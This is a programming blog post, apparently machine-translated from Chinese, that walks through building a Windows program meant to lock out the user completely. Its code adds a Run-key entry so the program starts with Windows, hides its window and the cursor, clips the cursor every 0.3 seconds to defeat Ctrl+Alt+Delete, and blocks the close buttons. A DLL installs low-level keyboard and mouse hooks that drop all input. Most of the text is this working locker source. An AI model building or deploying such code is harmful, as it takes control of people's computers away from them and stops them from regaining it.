当前位置:网站首页>Write a program that completely intercepts user operations
Write a program that completely intercepts user operations
2022-07-21 22:08:00 【Ye Yixiao, who loves programming】
First , We have to be persistent , Self starting is a good choice , Here is a self starting function .
void autostart()
{
HKEY hKey;
string strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
//1、 Find the startup item of the system
if (RegOpenKeyExA(HKEY_CURRENT_USER, strRegPath.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) /// Open the bootstrap
{
//2、 Get the full path of the program itself
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
//3、 Determine whether the registry key already exists
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValueA(hKey, nullptr, "GISRestart", RRF_RT_REG_SZ, 0, strDir, &nLength);
//4、 Already exist
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
//5、 Add a child Key, And set the values ,"GISRestart" Is the name of the application ( No suffix .exe)
RegSetValueExA(hKey, "GISRestart", 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));
//6、 Close the registry
RegCloseKey(hKey);
}
}
}
Then start intercepting , You also need a global variable
CRect rect1;
SetCursorPos(0,0);// Set mouse position
ShowCursor(SW_HIDE);// Hide the mouse
SetTimer(1, 300, NULL);
GetWindowRect(&rect1);
rect1.bottom = 0;// Construct restricted areas
rect1.right = 0;
rect1.left = 0;
rect1.top = 0;
ClipCursor(rect1);// Limit the mouse in the system (0,0,0,0) Within the scope of
LoadLibraryA("lanjie.dll");// Load hook DLL
autostart();// Self starting
To further enhance the effect , Do processing in the mouse movement message , Pay attention to capturing the mouse in advance .
void CXXXDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: Add message handler code and / Or call the default value
ClipCursor(rect1);
CDialogEx::OnMouseMove(nFlags, point);
}
in consideration of ctrl+alt+delete May cancel ClipCursor, Then we use a timer , Every time 0.3 Second restart ClipCursor.
void CXXXDlg::OnTimer(UINT_PTR nIDEvent)
{
ShowWindow(SW_HIDE);
SetCursorPos(0, 0);
ClipCursor(rect1);
}
In case of a one thousand , If the keyboard interception fails , Then at least the following code can prevent users from closing the window directly
void CXXXDlg::OnIdcancel()
{
// TODO: Add command handler code here
}
void CXXXDlg::OnIdok()
{
// TODO: Add command handler code here
}
void CXXXDlg::OnIdyes()
{
// TODO: Add command handler code here
}
void CXXXDlg::OnIdno()
{
// TODO: Add command handler code here
}
Next, intercept the keyboard , Here we use message hook to realize .
Here are DLL Code , Wrote notes , It will not be explained in the text .
// lanjie.cpp : Definition DLL Export function of application program .
//
#include "stdafx.h"
HHOOK g_hook = NULL;
HINSTANCE g_Inst = NULL;
HHOOK g_hook1 = NULL;
//HINSTANCE g_Inst1 = NULL;
LRESULT CALLBACK LowLevelKeyboardProc1(int nCode, WPARAM wParam, LPARAM lParam)
{// Keyboard hook
if (nCode < 0)
{
return CallNextHookEx(g_hook1, nCode, wParam, lParam);
}
if (HC_ACTION == nCode)// If there is a keyboard key value
{
return TRUE;// Interception hook
}
return CallNextHookEx(g_hook, nCode, wParam, lParam);// Otherwise, continue to pass the hook
}
BOOL SetHookOn1()
{
if (g_hook1 != NULL)
{
return FALSE;
}
g_hook1 = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc1, g_Inst, NULL);// Create a keyboard hook
if (NULL == g_hook1)
{
return FALSE;
}
return TRUE;
}
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{// Callback function of mouse hook
if (nCode < 0)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);// Message error , Continue to pass the hook
}
return TRUE;// Intercept operation
}
BOOL SetHookOn()
{
if (g_hook != NULL)
{
return FALSE;
}
g_hook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, g_Inst, NULL);// Create hook
if (NULL == g_hook)
{
MessageBoxA(NULL, " Installation hook error !", "error", MB_ICONSTOP);
return FALSE;
}
return TRUE;
}
BOOL APIENTRY DllMain(HANDLE hMouble, DWORD u1_reason_for_call, LPVOID lpReserved)
{
g_Inst = (HINSTANCE)hMouble;// Record module handle
SetHookOn();// Hang the mouse hook
SetHookOn1();// Hang the keyboard hook
return TRUE;
}
边栏推荐
- ARMv8 Cortex-a 编程向导手册学习_2
- 10个经典C语言面试基础算法
- 仿照MEMZ做一个特效程序
- IDE 的主题应该用亮色还是暗色?终极答案来了!
- Raspberry pie 4B new machine system configuration and computer connection operation
- 如何写好技术安全需求TSR?
- 【半导体先进工艺制程技术系列】FinFET工艺流程
- Literature Reading Records masked generative distillation
- 关于蓝牙 BLE 规范为什么在 ATT 的基础上还要再抽象一层 GATT 的思考
- Raspberry pie 4B three sound sensor Ao module connection and high-precision time output
猜你喜欢
Online Enhanced Semantic Hashing: Towards Effective and Efficient Retrieval for Streaming Multi-Moda
海外LPWAN的王者是我,一文看懂Wi-Sun协议
Armv8 cortex-a programming wizard manual learning_ three
详解麦克风阵列的原理、分类及作用
Nimble Bluetooth development III: introduction to nimble ble ble application
UWB environment configuration record
Matter协议特性解析(三) 设备发现,认证和配网
从T型人才理解ALM Polarion
【半导体先进工艺制程技术系列】SOI技术(下)
Raspberry pie 4B file transfer
随机推荐
Nimble Bluetooth development III: introduction to nimble ble ble application
什么是PCBA?PCBA测试的重要性有哪些?
Summary of Bert tips
浅聊Matter协议 (原CHIP协议)
Armv8 cortex-a programming wizard manual learning_ one
Bug repair records in the process of porting VxWorks minimum system to Quanzhi a40i CPU
Li Mu's learning notes of hands-on learning in depth (6) Chapter 1 preparatory knowledge section 4 Differential
Task oriented dialogue system for automatic diagnosis
基于 MS-RTOS 的 NIMBLE 开发平台
[semiconductor advanced process technology series] Introduction to FinFET and utb-soi
The library file written by yourself reports an error in vs Code: undefined reference to 'xxx'
Li Mu's learning notes of hands-on learning in depth (4) Chapter 1 preparatory knowledge section 2 data preprocessing
使火绒窗口无法响应某些用户消息
VxWorks 最小系统移植到全志 A40i CPU 过程中的 bug 修复记录
Armv8 cortex-a programming wizard manual learning_ three
基于STM32G4系列对定时器双向断路输入Bidirectional break inputs的应用测试
nmn有什么不好的作用吗,深剖nmn的功效与作用
Vs code space is too narrow
【半导体先进工艺制程技术系列】FinFET工艺流程
参与开源社区还有证书拿?